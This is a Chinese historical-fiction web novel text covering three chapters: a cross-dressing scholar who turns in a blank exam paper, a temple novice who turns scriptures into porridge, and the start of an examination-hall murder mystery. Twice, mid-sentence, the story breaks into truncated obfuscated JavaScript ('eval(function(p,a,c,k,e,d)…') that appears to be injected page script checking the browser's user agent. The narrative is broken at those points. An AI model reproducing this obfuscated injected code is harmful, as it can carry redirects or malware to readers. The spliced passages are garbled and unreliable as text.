“实心者,口头忧国;实务者,脚下沾泥。”傅惊鸿赤足踩了踩溪滩,“学生愚见,朝中诸公,多实心君子,少实务干才。” 秦学政气得发抖。顾宪成却大笑,笑罢,正色道:“三日后,老夫在府学开讲。你可愿来?就讲‘粪土经学’。” “若允学生赤足登堂,便去。” “准。” 二、 府学粪论 消息半天传遍仙游。三日后,府学明伦堂挤得水泄不通,窗台上都坐满了人。有书生、有商贾、甚至有胆大的妇人躲在屏风后。 傅惊鸿真赤着脚来了。依旧短褐,发以竹簪束,像进山砍柴的樵子。他走到堂前,不拜孔子像,只对满堂人一揖。 顾宪成坐主位,抬手:“请讲。” 傅惊鸿从袖中掏出一把稻谷,撒在讲案上:“今日不讲经,讲这个。” 满堂哗然。有老学究拂袖:“成何体统!” “体统?”傅惊鸿抓起一把谷,“这谷种下,六月收粮,养活了在座诸位,养活了孔圣人,养活了朱夫子。若无此物,诸位饿着肚子,可有力气讲体统?” 他抓起一粒谷,剥开:“看,谷有壳,去壳方是米。经学亦有壳——那些诘屈聱牙的注疏,便是壳。我等读书人,剥了一辈子壳,可曾吃过一口米?” “胡说!”一中年儒生站起,“圣学精微,岂是谷米可比?” “精微?”傅惊鸿笑问,“那敢问先生,这精微可能让木兰溪不泛滥?能让仙游县三年内多开十亩水田?若不能,精微何用?倒不如这谷实在——一种下去,秋后就有饭吃。” 顾宪成忽开口:“依你之见,圣学当如何?” “当如种地。”傅惊鸿道,“圣人本意,是教人活得更好。可如今读书人,将圣人话当花养,栽在盆里,日日修剪,修得奇形怪状,却忘了花本该开在野地里,任人观赏、任蜂采蜜。” 他走到窗前,推开窗,春风涌入:“诸君闻闻,这是什么味?” 众人抽鼻,是泥土味、青草味、还有…粪肥味。 “这是活人的味道。”傅惊鸿回身,“圣学也该有这个味道——泥土味、汗水味、烟火味。不该是书房里的霉味、墨臭味、还有…功名心发酵的酸味。” 堂中死寂。许久,屏风后传来女子轻笑。顾宪成循声望去,见几个女子身影匆匆离去。 “今日就讲这些。”傅惊鸿拍拍手上谷屑,“道理不在多,在有用。诸位若觉有理,明日此时,木兰溪石滩,我讲如何沤肥可增三成收成。愿听者来。” 他下堂,赤足踏过青砖,留下串湿脚印。 顾宪成沉默良久,对秦学政道:“拟文,荐此人入国子监。” “督学!他…他如此狂悖…” “狂?”顾宪成摇头,“他是醒着,我们是醉了,醉在功名酒里,醉了八百年。” 当夜,荐书以六百里加急发往京师。 三、 紫殿十问 七月流火,圣旨到仙游:宣傅惊鸿入京觐见。 传旨太监到愚公村时,傅惊鸿正在溪里摸螺。接旨不跪,只躬身:“草民接旨。但有一请——” “讲。” “草民步行赴京,沿途看民生。若允,便去;若命乘车马急行,则请公公回禀:傅惊鸿腿短,走不了那么快。” 太监愕然,但想起出京时天子嘱咐“此子非常人,可纵之”,只得应允。 傅惊鸿真步行。背个青布包袱,装两件换洗衣、一包炒米、几本农书。出闽中,过浙西,穿江淮,行三月方至京师。沿途遇田则下田,遇作坊则入坊,夜宿村塾、庙宇,与老农、工匠、郎中闲谈,记了厚厚三本笔记。 腊月初一,至京。顾宪成亲迎,见他风尘仆仆,脚上草鞋已磨穿,叹道:“何苦如此?” “不苦。”傅惊鸿笑,“看了三百里水情,五百里田况,见了十七种沤肥法,值得。” 次日,紫极殿朝会。傅惊鸿布衣赤足,直入大殿。满朝朱紫侧目,窃窃私语。 龙椅上,东夏年轻天子宁熙帝,饶有兴趣地看着阶下少年:“你就是交白卷的傅惊鸿?” “是。” “为何交白卷?” “因考的皆无用。” 殿中哗然。宰相出列怒斥:“狂妄!圣学无用,何有用?” 傅惊鸿不答,反问:“敢问陛下,朝廷取士,为治国乎?为修文乎?” 宁熙帝挑眉:“自然为治国。” “那治国需何才?是需知稻粱几月熟、蚕桑几回眠的,还是需知《尧典》几字、《禹贡》几篇的?” “这…” “陛下请看,”傅惊鸿自包袱中取出三本笔记,“此乃草民沿途所记。闽中稻一年两熟,但易生螟虫,需以石灰拌种;江淮水田宜养鸭,鸭食虫兼肥田;北地旱田需深翻蓄水…这些,经书可载?科举可考?” 他抬头,目如寒星:“草民有十问,请教诸公——” 一问:户部可知天下田亩,几年一测?新垦之地,几年入册? 二问:工部可知黄河泥沙,年淤几寸?所用束水冲沙法,效有几何? 三问:兵部可知边军棉衣,内絮是棉是芦?一副甲胄,造价几许? 四问:礼部可知民间婚丧,耗费多少?奢靡之风,起于何因? 五问:刑部可知狱中囚粮,日给几合?冤狱平反,平均需几年? 六问:吏部可知县令俸禄,够养几人?贪墨之吏,多起于贫或起于奢? 七问:太医可知小儿痘疹,乡间如何治?产妇难产,稳婆有几种手法? 八问:钦天监可知农时雨水,预报可准?灾异之说,百姓信几分? 九问:翰林院可有一人,能写让老农读懂的农书?让工匠看懂的匠则? 十问:在座诸公,可有一人,亲手种过一季粮?织过一匹布?盖过一间房? 十问如十记重锤,砸得大殿死寂。宁熙帝缓缓站起,面色凝重。 傅惊鸿伏地:“陛下,草民非轻圣学。圣学如灯,可照前路。但若只围着灯转,不举灯去照田埂、照作坊、照边关,这灯再亮,有何用?科举取士,取的是举灯人,不是守灯虫!” 宰相颤声:“你…你究竟何人?” 傅惊鸿起身,解开发簪——长发披落。 满殿惊呼:“女子?!” “是。”傅惊鸿朗声道,“草民傅惊鸿,闽中愚公山耕读生。先祖傅说,版筑为相,教武丁以‘治大国若烹小鲜’;祖上傅玄,三代帝师,临终遗训‘傅氏子孙,宁为实吏,不为虚儒’。家道中落二百年,至我父,仍说‘可科举,不可为科举奴’。” 她看向顾宪成:“顾公荐我,是惜才。但草民之才,不在庙堂,在乡野。陛下若真欲用我——” 她自怀中取出一卷纸:“此《民生十策》,一策治水,二策劝农,三策简讼,四策兴工,五策助学,六策省刑,七策均赋,八策通商,九策防边,十策…化民。每策皆有实例、有数据、有可操之法。愿陛下散之州县,令务实者参详。” 宁熙帝命呈上。展卷细看,字迹刚劲,所言皆切中时弊。尤其治水策,将木兰溪治理经验推及天下水系,详列“深淘滩低作堰遇湾裁角逢正抽心”十四字诀。 “此策…你从何得来?” “从溪水中来,从泥土中来,从百姓口中来。”傅惊鸿道,“陛下,圣学在经,更在行。愿朝廷开‘实务科’,考治水、考农桑、考匠作。愿州县设‘劝学堂’,教百姓识字、算数、技艺。愿天下读书人,先做三年农、三年工、三年吏,再谈治国平天下。” 她长揖:“若蒙允准,草民愿回木兰溪,办第一个劝学堂。十年后,请陛下再看,是白卷有用,还是实事有用。” 言罢,转身出殿。赤足踏过金砖,步步生声。 宁熙帝忽道:“傅卿…欲任何职?” 傅惊鸿不回头:“草民之职,在溪畔,在田头,在百姓炕头。陛下若觉白卷可留,便留;若觉荒唐,焚之可也。只求莫拦后来人——拦那些想用真学问,换真太平的人。” 身影消失在殿外日光中。 四、 溪畔劝学 次年春,木兰溪石滩上立了座草堂,匾额“劝学堂”。傅惊鸿仍着短褐,白日教村童识字算数,夜来聚乡民讲农事工技。 顾宪成致仕后,竟搬来溪畔结庐,时来讲学。两人常争辩至夜深,声传溪岸。 “惊鸿,你轻经学,可无经学,何来纲常伦理?” “顾公,伦理在人心,不在经句。老农知不偷不抢,是因偷抢遭人唾,不是因读了‘己所不欲’。” “然经学可塑君子…” “君子当在田间塑!”傅惊鸿拍案,“让士子知一粒米如何来,一缕布如何成,他自会体恤民艰。这比读万卷‘民为贵’有用!” 顾宪成苦笑摇头,却又频频点头。 劝学堂有三不教:不教八股范文,不教空洞性理,不教逢迎之术。三必教:识字算数为基,农桑工技为本,律法医道为用。女子亦可入学,堂中女弟子渐多。 有富家子慕名而来,傅惊鸿先让他挑三天粪,受不了的自行离去。留下的,清晨下田,午后读书,傍晚习技。她说:“手上有茧,心中方有民。” 元祐九年,木兰溪大水。傅惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅惊鸿拍拍身上土:“走,顾公,今夜学生炖了溪鱼,请您尝尝——用我新调的粪肥种的姜,去腥。” 顾宪成大笑,笑着笑着,老泪纵横。 五、 白卷青史 元祐十二年,顾宪成病逝于溪畔草庐。临终前,他将一生笔记付与傅惊鸿:“惊鸿,我读了一辈子圣贤书,到老方懂,真圣贤在民间。这些…你看着用。” 笔记中,有数十年来朝政得失、民生疾苦,更有未竟的《实务通考》大纲。 傅惊鸿守孝三月,而后闭门著书。三年后,《民生实鉴》成书,分农、工、商、学、政五卷,全以白话写成,配以图解。书成,她不刊印,只让学生手抄,散于民间。 “让想看的人看,不想看的,不勉强。” 朝中闻之,有御史弹劾“私著妄议朝政”。宁熙帝御批:“其书朕已阅,皆务实之言。着有司刊印,发州县参详。” 书遂流传天下。有老农依书治虫,增产三成;有工匠改良水车,省力一半;更有边关小吏,用书中“简讼法”,一年平冤狱十七起。 傅惊鸿之名,不胫而走。但她仍居草堂,白日教课,夜来著书。有学生问:“先生之学,可称‘傅学’乎?” 她摇头:“我无学,只有些土办法。若非要个名,就叫‘泥土学’罢——生于土,归于土,沃野养人,便是功德。” 元祐二十年春,傅惊鸿已三十三岁。这日讲罢《水经注疏》,忽有京中使者至,奉上密匣。启之,内有一纸,无字,只画了把锄头。 她笑,提笔画了株稻穗,交还使者。 使者不明。归京呈上,宁熙帝展卷,默然良久。是夜,下旨:于各州县设“劝学所”,教农工实技;开“特科”,取精通实务者;另命翰林院重修《东夏会典》,增“实务”一门。 圣旨末,朱批八字: “白卷不白,青史长青。” 使者再至木兰溪传旨时,傅惊鸿正在溪中摸石。听罢旨意,她只道:“请禀陛下,木兰溪石,已摸尽。明日,我去摸另一条溪。” “先生欲往何处?” “天下溪流,皆通江海。走到何处,便摸何处。”她将手中卵石掷入溪中,石跳三跳,沉入水底。 涟漪一圈圈荡开,荡到对岸,荡向远方。 尾声溪声依旧 又是十年。 木兰溪劝学堂已扩为书院,弟子三百。傅惊鸿鬓有微霜,但目光仍亮。这日讲《盐铁论》,忽有弟子问: “先生,若当年您入朝为官,今日天下,会不同么?” 堂外溪声潺潺。傅惊鸿良久方答: “我曾夜观星,见群星璀璨。若我是一星,入朝,不过多一点光。在野,或可…引几人抬头看星。” “看星为何?” “知天地之大,知己身之微,知脚下之路,该往何处走。”她起身,“今日课毕。明日讲《沤肥新法》,愿听者来。” 弟子散去。夕阳西下,傅惊鸿独立溪畔,看水东流。 对岸行来一老农,隔溪喊:“傅先生!明日插秧,可来看水?” “来!” “带学生么?” “带!让他们学学,什么叫‘汗滴禾下土’!” 老农大笑,笑声随溪水远去。 傅惊鸿蹲身,掬水。水中倒影,眉眼依稀少年。 她忽想起许多年前,那个赤足走入紫极殿的清晨。若重来一次,她还会交白卷么? 会。 因有些话,只能在白卷上说。 有些路,只能赤足走。 水从指缝漏尽。她甩甩手,转身回草堂。堂中,灯已亮起,弟子们的读书声,混着溪声,荡在春风里。 而更远的京城,新一轮科举,刚刚放榜。 榜下,有落第书生撕卷痛哭,亦有中年士子默默收起行囊,望向南方。 南方有溪,名木兰。 溪畔有光。 本章鉴世 一、 白卷惊天之谏 - 以交白卷为形式,行警世之实 - 破解法:凡见“反常之举”,必思其深意;凡遇“离经叛道”,必察其本心 - 示例:粪土喻道、赤足登堂、十问紫殿 二、 女子实学之悖 - 傅惊鸿女扮男装应试,实为对男性主导科举的讽刺 - 惕世:当制度排斥女性,天才可能以伪装现世 - 反思:人才选拔的性别盲区,如何突破? 三、 庙堂乡野之择 - 拒官归野,非不能为,是不愿同流 - 深层隐喻:真正的改革往往起于边缘,而非中心 - 终极智慧:有时远离权力,方能真正影响时代 科举诫: 白卷非无字,字在泥土中。 经书千卷厚,不如一锄功。 女子可登殿,布衣可诘龙。 莫道溪声小,潺潺总向东。 后世叹: 元祐七年春水深,木兰溪畔白卷新。 粪土论文惊学政,布衣赤足叩紫宸。 十问殿中朱紫默,一灯堂下草茅茵。 莫问先生归何处,天下溪声皆可闻。 正是: 仙游县外木兰秋,白卷飘然压榜头。 粪土论文嗤注疏,布衣赤足踏公侯。 十问紫殿鞭尸骨,一灯溪堂照马牛。 莫道青衫无史笔,江河日夜向东流。 14. 金经无字谳 楔子哑钟自鸣 宝相寺的哑钟,在贞元十三年的腊八夜里,自己响了。 起初是“嗡”的一声,像老僧咳嗽,惊起了塔檐上的寒鸦。接着是第二声、第三声,一声沉过一声,撞得满寺铜铃乱颤。僧众提着灯笼涌到钟楼时,那口百年不响的青铜钟,正晃得如醉了酒。 钟是前朝古物,高八尺,重三千斤,自悬在钟楼那年起,就没响过。都说这钟是“哑钟”,实则是“择主而鸣”——非大彻大悟者,撞不响。 可今夜楼中无人。 住持慧明禅师捻着佛珠,仰头看钟。钟身苔痕斑驳,唯有“觉”字隐约可辨。他忽道:“去藏经阁。” 藏经阁的门虚掩着。推门,烛火尚温,经案上摊着卷《金刚经》,墨迹未干。案前蒲团,坐着个小沙弥,名唤“无心”,年方十四,是寺里最呆的弟子。问他《心经》何意,只会摇头;命他洒扫殿堂,常把佛像擦成花脸。 此时无心垂首合十,似在入定。慧明走近,见他面前经卷上,墨写的经文正在消融——字迹如雪遇阳,一点点化开,最终成了一页白纸。 不,不是白纸。是纸上浮出金色小字,细如蚊足,闪着微光: “法本法无法 无法法亦法 今付无法时 法法何曾法” 慧明色变。这是禅宗初祖达摩的《血脉偈》,传说刻在少林面壁石上,石毁后失传千年。怎会在此重现? “无心。”他轻唤。 无心睁眼,眸子里有光流转,如古井映月。他开口,声音稚嫩,却说出一句让全寺震惊的话: “师父,钟响了,该做早课了。” 可此时是子夜。 一、 无字金经 无心变了。 从前背不下一卷经,如今过目成诵。从前扫地都扫不直,如今能闭目穿针。更奇的是,他能解经——不是照本宣科,是信手拈来,句句落在人痒处。 腊月十五,寺里开讲经法会。本应由首座讲《法华经》,谁知首座忽染风寒,慧明便让无心暂代。满堂僧众、数百信众,皆等着看笑话。 无心爬上高高的法座,腿短,脚还够不着地。他低头看经,看了半晌,忽将经卷一合。 “今日不讲经。”他道。 堂下哗然。有老居士怒道:“不讲经,讲什么?” “讲各位心里的事。”无心歪头,“东厢王居士,你捐百两香油钱,是为求子吧?可你上月才逼妾饮堕胎药,怕庶子分家产。这般求子,菩萨给不给?” 王居士脸色煞白。 “西廊李施主,你日日来寺长跪,是为超度亡父。可你父是气病而死——因你赌光祖田。这般超度,佛祖受不受?” 李施主瘫软在地。 “还有后堂张夫人,你供金佛、点长明灯,是为赎杀业。可你昨日才命仆人打死偷粮的饥民。这般赎罪,轮回饶不饶?” 满堂死寂。无心跳下法座,赤脚走到佛前,指着佛像:“这佛是泥塑的,不会说话。可你们心里有佛,佛在说话——说你们脏,说你们假,说你们拜的不是佛,是自己的贪嗔痴。” 他转身,对慧明道:“师父,经是渡船,可他们扛着船上岸走,还说船不渡人。这经,讲了何用?” 慧明闭目,长叹。 法会不欢而散。但次日,王居士遣散了妾室,李施主变卖家产赈济灾民,张夫人自请入狱。宝相寺外,排队忏悔的人,从山门排到三里外的渡口。 无心却不见了。 二、 藏经阁盗 无心躲在藏经阁顶层的经库里。这里堆着历代残经,蛛网密布。他在墙角生了堆火,火上架着个陶钵,钵里煮着东西——竟是撕碎的经卷。 慧明推门见此,差点背过气:“你…你烧经?!” “煮经。”无心搅着钵,“师父你看,这《楞严经》是唐写本,纸厚,耐煮;这《华严经》是宋刻本,墨好,入味。再加点《金刚经》提鲜,《心经》调味…” “孽障!”慧明夺钵。钵中汤汁浑浊,纸屑翻腾,真如一锅粥。 无心也不争,盘腿坐下:“师父可知,为何寺里香火鼎盛,可弟子开悟者寥寥?” “…” “因为经是药,可他们只舔药方,不煎药服。”无心指着钵,“我把经煮了,谁想喝,来喝一碗,药力入肚,比念万遍强。” 慧明气笑:“胡闹!经是法,是理,岂是儿戏?” “那师父说,什么是法?” “法乃佛陀所言,祖师所传…” “佛陀在哪?” “在…在西方极乐。” “那祖师呢?” “在…在寺里塔林。” “哦,”无心点头,“所以法在西方,在塔林,唯独不在人心里?” 慧明语塞。 无心舀起一勺“经粥”,递给他:“师父尝尝,这法是什么味。” 慧明鬼使神差接过,抿了一口。苦,涩,而后是淡淡的回甘。 “是苦的。”无心道,“因为众生皆苦。可苦后回甘,因为苦中有悟。师父,法不在纸上,在尝苦的人心里。我煮经,是想让人尝到法的真味,不是让人背药方。” 窗外暮钟响起。慧明放下勺,长叹:“你…究竟是谁?” 无心笑了,露出缺了颗门牙的豁口:“我是无心,宝相寺最呆的小沙弥。” 可当夜,藏经阁失窃了。 失的不是金银,不是法器,是堆在角落的三十七卷“无字经”。那是历代高僧入灭前,以心血写的“心经”,无墨无字,唯有开悟者能见真文。三百年来,无人能读。 守阁的僧人说,子时见无心进了阁,卯时出来,怀里鼓囊囊的。一查,无字经全不见了。 慧明在寺后断崖边找到无心。他正将经卷一本本抛下悬崖。 “你做什么?!” “让法归于法。”无心抛下最后一本,“这些经,是历代祖师用命写的。可放在阁里,成了摆设,成了传说,成了‘本寺有宝’的招牌。既无人能读,不如让山风读,让流水读,让天地读。” 他转身,眼中有慧明从未见过的悲悯:“师父,法快死了。死在经阁里,死在香火中,死在你们这些…护法者的手里。” 山风卷起经页,雪白纸片如蝶纷飞。有一页飘到慧明手中,他定睛看去——空无一字。 可当一滴泪落在纸上,字迹浮现: “佛在灵山莫远求 灵山只在汝心头 人人有个灵山塔 好向灵山塔下修” 泪干,字消。 三、 佛前赌法 消息传出,天下哗然。有高僧骂无心是“佛门妖孽”,有信众说他是“菩萨示现”。三月初三,十八寺高僧齐聚宝相寺,要“辨法”——实则是问罪。 大雄宝殿,佛祖垂目。十八位高僧蒲团跌坐,如十八尊罗汉。无心被围在当中,像个误入大人国的孩子。 金山寺方丈先开口:“小师弟焚经抛典,谤法毁教,可知罪?” 无心眨眼:“何谓法?何谓教?” “法乃佛说,教乃佛传。” “佛说什么了?” “说苦集灭道,说因果轮回…” “那苦是什么?”无心打断。 “生老病死,爱别离,怨憎会,求不得,五蕴炽盛。” “哦。”无心从怀里掏出块饴糖,塞进嘴里,“我此刻甜,是苦么?” “这…” “既说苦,为何寺里供蜜供糖?既说怨憎会苦,为何各位一见我,就怨憎会?”无心舔舔手指,“法若只在嘴上,不在身上,这法,是法么?” 天童寺首座冷笑:“巧言令色!你且说,佛法真义何在?” 无心起身,走到殿外。众僧跟出。时值春日,庭中桃花正盛。他折了枝桃花,插在佛前香炉里。 “这就是佛法。” “荒谬!” “不荒谬。”无心指花,“花开是佛法,花落是佛法。各位来问罪是佛法,我答话是佛法。连此刻你们骂我,也是佛法——因为万事万物,无不是法。既如此,何须我再说?” 曹溪寺长老颤巍巍道:“依你之见,我等读经、持戒、修行,皆错了?” “没错,但不够。”无心道,“读经是为明理,可有人读了万卷,理不明,反生‘我读得多’的傲慢。持戒是为去执,可有人戒律精严,执于戒,反生‘我持得好’的执念。修行是为成佛,可有人修了三世,佛不见,只见‘我在修行’的幻相。” 他走到长老面前,仰头:“长老闭关三十年,可闭掉贪嗔痴了?” 长老面红耳赤。 “未闭掉,是因关是死的,心是活的。心在关内,也在关外——在经里,在戒中,在修行的相上,唯独不在…当下此刻,这朵桃花里。” 他拔下桃花,别在长老襟前:“送您。不必谢,花开本不为谢。” 众僧哑然。忽有云游僧大喝:“妖言惑众!诸位莫听他诡辩!我等联名,请逐此子出寺!” 联名状递到慧明面前。慧明看罢,苦笑:“诸位可知,无心是谁?” “不过一小沙弥!” “是。”慧明道,“可也是让哑钟自鸣、让无字经现文、让满城罪人忏悔的小沙弥。若他是妖,那我等…是什么?” 他起身,对无心道:“你既有你的法,便说个透彻。三日后,寺前设擂,你与天下高僧辩法。若你胜,宝相寺奉你为法主;若你败,自逐出寺,永不言法。” 无心挠挠光头:“师父,法不是用来辩的。” “那用来做什么?” “用来活。”他咧嘴一笑,“但既然各位想辩,那就辩。不过我有条件——” “讲。” “辩法那日,寺门大开,贩夫走卒、娼优乞丐,皆可入听。谁有疑,皆可问。我问的,也请各位当众答。” “这…成何体统!” “体统?”无心指佛,“佛说众生平等。既是平等,为何听法的只能是高僧大德,不能是贩夫走卒?难不成佛法是专卖,只卖给穿僧袍的?” 众僧语塞。慧明合十:“准。” 四、 擂前法雨 三日后,宝相寺前人山人海。有僧有道,有儒有侠,更多是百姓——挑担的货郎、洗衣的妇人、玩泥的孩童,甚至有个乞儿,蹲在最前排。 擂台设在大雄宝殿前。十八高僧端坐西侧,无心独坐东侧,中间隔着个香炉,炉里插着那枝桃花,已半萎。 慧明击磬开擂。 先发问的是金山寺方丈:“何为佛?” 无心答:“你是。” “胡言!我乃凡夫,怎是佛?” “凡夫有心,佛有心;凡夫有性,佛有性。你既有心性,为何不是佛?” “我心有贪嗔痴!” “佛也有。”无心道,“佛贪度众生,嗔魔障,痴众生难度。若无贪嗔痴,何来大愿力?” 满场哗然。天童寺首座厉声道:“谤佛!佛已断尽烦恼,何来贪嗔痴?” “那佛为何要度众生?”无心问,“度众生,是不是贪众生得度?魔来扰,佛是否嗔魔?众生难度,佛是否痴于度?若断尽烦恼,该如草木无知,何必管众生死活?” “这…” “所以,”无心道,“佛不是无贪嗔痴,是转贪嗔痴为慈悲智慧。各位修佛,修的是断烦恼,还是转烦恼?” 无人能答。 一瘸腿老丐忽然举手:“小师父!俺能问不?” “能。” “俺这条腿,是去年偷寺里供品,被护法僧打断的。俺该恨他不?” “该。” “可…可佛说慈悲…” “佛说慈悲,是教你挨打时不还手,不是教你挨打时不疼。”无心道,“你恨,是人之常情。但恨过之后,是想‘我也打断他的腿’,还是想‘他打断我腿,是因我偷盗,我该戒偷’?前者是怨,后者是悟。佛要你悟,不要你当木头。” 老丐怔住,良久,号啕大哭。 一妇人问:“小师父,我每日供佛,可丈夫还是打我,佛为何不保佑?” “佛不是衙役,不管家务事。”无心道,“但佛会说:他打你,是他错。你可还手,可报官,可和离。若这些都不敢,那就念经——不是求佛让他停手,是求自己有勇气反抗。” “可…可都说要忍…” “忍是心不动,不是身不动。”无心正色,“你心不动怒,是修为;身不反抗,是愚昧。佛要你修心,不是修成死人。” 妇人掩面而去。 如此问答,从晨至午。问者千奇百怪,无心对答如流。有问超度的,他说“死人不需要超度,活人才需要”;有问风水的,他说“福地福人居,心净即福地”;有问念经功德的,他说“念经不如念母,母苦你不知,念经有何用”。 十八高僧面色铁青。曹溪寺长老忽道:“老衲有一问——若依你言,经可不读,戒可不持,佛可不拜,那还要寺庙何用?要僧人何用?” 此问诛心。若答是,则毁佛门根基;若答否,则自相矛盾。 无心起身,走到香炉前,拔下那枝桃花。花瓣已落尽,只剩秃枝。 “寺庙如这枝,僧众如花。花开时,人来看花,知有春;花落时,人见秃枝,知有冬。寺庙在此,是让人知:世间有法。僧众在此,是让人见:有人愿依法活。” 他折下秃枝,插回炉中:“但若只让人看花,不让人知枝;只让人拜佛,不让人成佛——这寺庙,不如拆了。这僧人,不如还俗。” 长老闭目,长叹。 日头偏西,无人再问。慧明起身,环视全场:“可还有疑?” 寂静。只有风声,檐铃声,还有那乞儿的啜泣声。 “既无疑…”慧明转向无心,“你胜了。” 无心摇头:“法无胜负。今日所言,皆是废话。各位若觉得有用,捡一两句去用;若觉无用,全当春风过耳。” 他跳下擂台,走向山门。众僧让道,如水分流。 “你去何处?”慧明唤。 “回藏经阁。”无心回头一笑,“经还没煮完呢。” 那乞儿忽然爬起,一瘸一拐追上去:“小师父!俺…俺能跟你煮经不?” “能。但你得先洗脚,脚太臭,坏了我经粥的味。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无心正在添柴,火光照亮他平静的脸:“把‘不许’都去掉。不许吃肉,改‘可吃,但知为何吃’;不许杀生,改‘可不杀,但知为何不杀’;不许妄语,改‘可说话,但知话从何来,往何处去’。” “这…岂不乱了?” “规是死的,人是活的。让人守死规,不如让人懂活法。”他搅动粥锅,“你看这粥,米是规,水是心。水多则稀,水少则稠,总要调到自己合口。强人喝一样的粥,有人撑死,有人饿死,何必?” 新住持似懂非懂,但照做了。寺风一新,僧众各展其才,有精医术的,有通匠作的,有善农桑的。宝相寺不再只是寺庙,成了个“活法”的道场。 无心依旧煮他的经粥。粥锅从一口增到十口,从寺内摆到寺外。来喝粥的,有僧有俗,有贫有富。喝罢,有人哭,有人笑,有人一言不发,对着空碗发呆。 一碗粥,映出众生相。 尾声粥冷经温 又是十年。 无心已蓄发还俗,在山下菩提集开了间粥铺,名“一味轩”。每日晨起熬粥,粥成,敲钟三声——是当年哑钟的钟声。 来喝粥的,依旧络绎不绝。有当年的老丐,如今开了豆腐坊;有挨打的妇人,如今是织坊主;有捐金的富商,如今散尽家财,在集上讲“活法”。 这日大雪,粥铺早早打烊。无心坐在炉前烤火,忽闻门外有人吟诗: “粥冷经温又一冬 炉灰深处有余红 莫言般若无知处 只在寻常日用中” 推门,是个游方僧,斗笠蓑衣,满面风霜。无心递过碗热粥:“师父从何处来?” “从来处来。” “往何处去?” “往去处去。” 二人相视大笑。游方僧喝罢粥,道:“我走遍天下,见寺千座,唯你这里,不像寺,像…家。” “寺本就是家。”无心添柴,“佛说‘众生是佛’,那众生所在处,便是佛国。既如此,家在佛国,佛国在家,有何分别?” “可他们,”游方僧指指窗外灯火,“未必知。” “知不知,有何要紧?”无心掀开锅盖,热气蒸腾,“他们来喝粥,觉得暖,觉得饱,觉得活着还有点滋味——这,不就是知了么?” 游方僧默然,良久合十:“受教。” 他起身离去,消失在雪中。无心关上门,坐回炉前。火渐熄,粥渐冷。 窗外,菩提集的灯火,一盏盏亮起,又一盏盏暗去。 最后只剩他这一盏。 他吹熄灯,在黑暗中坐了一会儿。然后起身,收拾碗勺,刷锅,扫地,一如过去三十年。 末了,他推开窗。雪已停,月出东山,照得天地澄澈。 远处宝相寺的钟楼,在月色中静默。 那口哑钟,自那年响后,再未响过。 但无心知道,它一直在响。 在喝粥人满足的叹息里,在风雪夜归人的脚步声里,在晨起第一缕炊烟里。 钟从未哑。 哑的,是听钟的耳朵。 他合上窗,躺下。梦中,他依旧是那个小沙弥,在藏经阁里煮经。经文化作金色小字,从锅里飘出,飞向窗外,飞向千家万户的灯火。 字落入粥碗,落入水缸,落入母亲哼唱的摇篮曲。 落入这苍茫的人间。 本章鉴世 一、 哑钟自鸣之警 - 百年哑钟为“真法”而鸣,反衬“有声”经文的空洞 - 破解法:凡遇“神异”,必察其是否指向常识;凡见“反常”,必思是否回归本真 - 示例:无字经现文、焚经煮粥、擂前法辩 二、 经粥活法之喻 - 将经文化粥,喻真理需“消化”而非“背诵” - 惕世:当知识成为装饰,智慧便成表演;当修行成为职业,觉悟便成商品 - 反思:宗教的仪式化与本质化之悖论 三、 佛法日用之归 - 从殿堂回归市井,从玄谈回归生计 - 深层隐喻:任何脱离生活的教义,终将枯萎 - 终极指向:真理不在他处,在众生茶饭间 修行诫: 哑钟不鸣非无响,只待真心叩问时。 经卷煮粥堪疗饥,佛法原在布衣知。 莫向灵山求远佛,且看当下这碗糜。 若得寻常日用处,雪夜风灯也是诗。 后世叹: 贞元十三腊月八,哑钟自鸣惊寒鸦。 无字经文化金偈,有粥锅沸暖僧家。 殿前桃花落复开,擂下疑云散作霞。 莫问小师何处去,菩提集里话桑麻。 正是: 宝相寺深腊月天,哑钟自响夜无眠。 经文化粥疗饥渴,佛性如花落讲筵。 莫道灵山千里外,且看粥棚一灯前。 菩提本在寻常处,雪夜关门又一年。 15. 棘闱血牍谳 楔子墨字啼血 崇文十七年,春闱放榜前三日,棘院(贡院)东经阁的守夜老吏,闻到股怪味。 像陈墨里混了血腥,又像腊肉生了霉。他提灯循味至“地字十二号”硃卷封存库,见铁门上那对狴犴衔环的铜辅首——左环在滴血。 暗红的、粘稠的血,从门缝渗出,沿铜环沟槽,一滴,一滴,砸在青砖上。 一、 铁棺藏卷 顺天府推官傅青衫赶到时,天刚透亮。这位傅推官年三十有六,面容清癯如教书先生,唯双眼亮得慑人。他蹲身蘸血捻搓,又举灯照门缝:“血从内渗出,不超过三个时辰。开门。” 锁是工部特制的“九转鸳鸯锁”,需两把钥匙同开。一把在提调官手,一把在监临官手。可奇的是,当两位大人携钥而来,锁芯竟已被人以铁水灌死。 “熔锁。”傅青衫道。 铁匠熔开锁时,日上三竿。门开刹那,腥风扑面——库内无窗,四壁皆铁,正中摆着口柏木箱。箱盖大开,内躺一人,着青绸袍,胸前插着柄裁纸刀。 死者四十许,面白微须。傅青衫翻看他右手,虎口、食指、中指皆有厚茧,是长年握笔的“状元手”。但左手掌心,却有道新鲜灼痕,形如“甲”字。 “是烙铁印。”作作老邢验道,“凶器就在死者手中。” 果然,死者右手指缝间,紧攥着柄小烙铁,铁头仍温。烙面刻的正是“甲”字。 傅青衫环顾库房。此库专存“墨卷”——即举子亲笔原卷。按制,墨卷入库后先糊名,再由誊录官以朱笔誊抄为“硃卷”,方送考官批阅。如此,考官阅卷时不知考生姓名,防舞弊。 可眼前景象诡异:四周铁架上,本该整齐排列的墨卷,此刻散落一地。更奇的是,每份卷子首页的糊名封条,皆被撕开一角,露出底下姓名。 “有人在此…查卷。”傅青衫沉吟。 “大人快看!”书吏从箱底摸出本册子。 是“地字十二号库入库册”。傅青衫翻到末页,见最后一行记: “崇文十七年三月十二,戌时三刻,入墨卷三百六十份。经手人:誊录房司吏沈砚秋。” 沈砚秋,正是箱中死者。 “三百六十份…”傅青衫点验地上散卷,“此处只有三百五十九份。少了一份。” 